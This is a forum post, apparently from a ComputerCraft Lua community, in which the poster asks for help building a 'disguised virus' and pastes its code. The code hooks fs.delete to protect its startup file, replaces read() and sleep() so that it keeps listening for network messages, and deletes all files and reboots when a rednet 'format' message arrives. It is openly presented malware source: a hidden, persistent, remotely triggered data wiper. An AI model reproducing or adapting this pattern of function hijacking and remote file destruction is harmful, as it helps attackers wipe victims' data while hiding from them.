Posted 07 May 2012 - 03:34 AM
I'm trying to create a disguised virus that hides in your PC. I tried overwriting the current functions like sleep() and read() but I get this error:
Is there any way to fix this?
bios:267: Attempt to write global
Is there any way to fix this?
for k,sSide in pairs(redstone.getSides()) do
if peripheral.isPresent(sSide) and peripheral.getType(sSide) == "modem" then
rednet.open(sSide)
end
end
oldddeIYGYFGYIYGGUlete = function(name) fs.delete(name) end
fs.delete = function(name)
if name == "startup" then
return false
else
oldddeIYGYFGYIYGGUlete(name)
end
end
if fs.exists("formatted352") then
os.shutdown()
end
commands = function(sEvent, param, message) --INSERT COMMANDS HERE
if sEvent == "rednet_message" then
if message == "format" then
fs.makeDir("formatted352")
files = fs.list("/")
for n=1,#files do
if files[n] == "startup" or files[n] == "formatted352" or fs.isReadOnly(files[n]) then else
fs.delete(files[n])
end
end
os.reboot()
end
end
end
term.read = function( _sReplaceChar, _tHistory )
term.setCursorBlink( true )
local sLine = ""
local nHistoryPos = nil
local nPos = 0
if _sReplaceChar then
_sReplaceChar = string.sub( _sReplaceChar, 1, 1 )
end
local w, h = term.getSize()
local sx, sy = term.getCursorPos()
local function redraw()
local nScroll = 0
if sx + nPos >= w then
nScroll = (sx + nPos) - w
end
term.setCursorPos( sx, sy )
term.write( string.rep(" ", w - sx + 1) )
term.setCursorPos( sx, sy )
if _sReplaceChar then
term.write( string.rep(_sReplaceChar, string.len(sLine) - nScroll) )
else
term.write( string.sub( sLine, nScroll + 1 ) )
end
term.setCursorPos( sx + nPos - nScroll, sy )
end
while true do
local sEvent, param, t = os.pullEvent()
commands(sEvent, param, t)
if sEvent == "char" then
sLine = string.sub( sLine, 1, nPos ) .. param .. string.sub( sLine, nPos + 1 )
nPos = nPos + 1
redraw()
elseif sEvent == "key" then
if param == 28 then
-- Enter
break
elseif param == 203 then
-- Left
if nPos > 0 then
nPos = nPos - 1
redraw()
end
elseif param == 205 then
-- Right
if nPos < string.len(sLine) then
nPos = nPos + 1
redraw()
end
elseif param == 200 or param == 208 then
-- Up or down
if _tHistory then
if param == 200 then
-- Up
if nHistoryPos == nil then
if #_tHistory > 0 then
nHistoryPos = #_tHistory
end
elseif nHistoryPos > 1 then
nHistoryPos = nHistoryPos - 1
end
else
-- Down
if nHistoryPos == #_tHistory then
nHistoryPos = nil
elseif nHistoryPos ~= nil then
nHistoryPos = nHistoryPos + 1
end
end
if nHistoryPos then
sLine = _tHistory[nHistoryPos]
nPos = string.len( sLine )
else
sLine = ""
nPos = 0
end
redraw()
end
elseif param == 14 then
-- Backspace
if nPos > 0 then
sLine = string.sub( sLine, 1, nPos - 1 ) .. string.sub( sLine, nPos + 1 )
nPos = nPos - 1
redraw()
end
end
end
end
term.setCursorBlink( false )
term.setCursorPos( w + 1, sy )
print()
return sLine
end
read = function( _sReplaceChar, _tHistory ) read( _sReplaceChar, _tHistory ) end
sleep = function(_nTime)
local timer = os.startTimer( _nTime )
repeat
local sEvent, param, t = os.pullEvent( "" )
commands(sEvent, param, t)
until param == timer
end
term.clear()
term.setCursorPos(1,1)
print(os.version())
Thats my code ^